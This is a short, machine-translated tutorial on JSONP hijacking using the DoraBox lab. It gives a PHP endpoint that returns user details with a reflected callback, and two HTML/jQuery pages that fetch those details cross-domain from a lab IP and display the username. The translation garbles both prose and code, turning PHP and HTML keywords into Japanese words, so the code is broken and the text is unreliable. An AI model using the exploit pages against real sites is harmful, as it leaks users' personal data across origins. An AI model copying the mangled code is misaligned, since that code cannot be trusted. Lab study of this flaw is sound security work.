クロスドメインJSONP:
スクリプトタグはブラウザ、クロスドメイン参照リソースに影響を与える同一生成元ポリシーではないので、
あなたは、動的にクロスドメインリクエストに<SCRIPT>タグを設定することができます。要求されたデータのバック
私たちは、指定されたコールバック関数パスバックを渡します
JSONPの脆弱性:
ドローンコード
<?PHPは 含ま「../class/function.class.phpを」。 $ reqMethod = "GET" 。 $ reqValue = "コールバック" 。 $ P = 新しいのFunc($ reqMethod、$ reqValue )。 $情報 = 配列( 'ユーザ名' => 'Vulkey_Chen'、 'mobilephone' => '13188888888'、 'メール' => '[email protected]'、 'アドレス' => '中华人民共和国'、 'セックス' => 'マンクール' ); もし(@!$ _GET [ 'コールバック' ]){ エコー $ P - > con_function( 'json_encode'、$情報)。 } 他{ $コールバック = はhtmlspecialchars($ _GET [ 'コールバック' ])。 エコー "{ $コールバック }("。$ P - > con_function( 'json_encode'、$情報)。 ")" ; } ?>
コードビハインド出力JSON形式情報ならば、コールバックパラメータが存在するか否かを判断します
ある場合は、トランスコーディングエンティティ、出力JSONフォーマットを行います。
コードを使用します。
1 <!DOCTYPE HTML > 2 < HTML のlang = "EN" > 3 < ヘッド> 4 < メタのcharset = "UTF-8" > 5 < タイトル> JSONP </ タイトル> 6 7 </ ヘッド> 8 < ボディ> 9 < スクリプトタイプ= "テキスト/ javascriptの" > 10 、機能テスト(データ){ 11 アラート(data.username)。 13 VaRの本体= document.getElementsByTagName(' ボディ' )[ 0 ]; 14 VaRのスクリプト= のdocument.createElement(' スクリプト' )。 15 script.src = ' http://192.168.160.1/DoraBox-master/csrf/jsonp.php?callback=test ' 。 16 body.appendChild(スクリプト)。 17 18 </ スクリプト> 19 </ ボディ> 20 </ HTML >
動的に<script>の要求を生成します
.GetJSON要求にjQueryの$()を使用して
<!DOCTYPE HTML > < HTML LANG = "EN" > < 頭> < メタ文字コード= "UTF-8" > < タイトル> JSONPJQUERY </ タイトル> < スクリプトSRC = "http://cdn.static.runoob.com/libs /jquery/1.8.3/jquery.js " > </ スクリプト> </ ヘッド> < 身体> < スクリプト> $ .getJSON(" http://192.168.160.1/DoraBox-master/csrf/jsonp。PHP?コールバック=?」、機能(データ){ アラート(data.username) }) </ スクリプト> </ ボディ> </ HTML >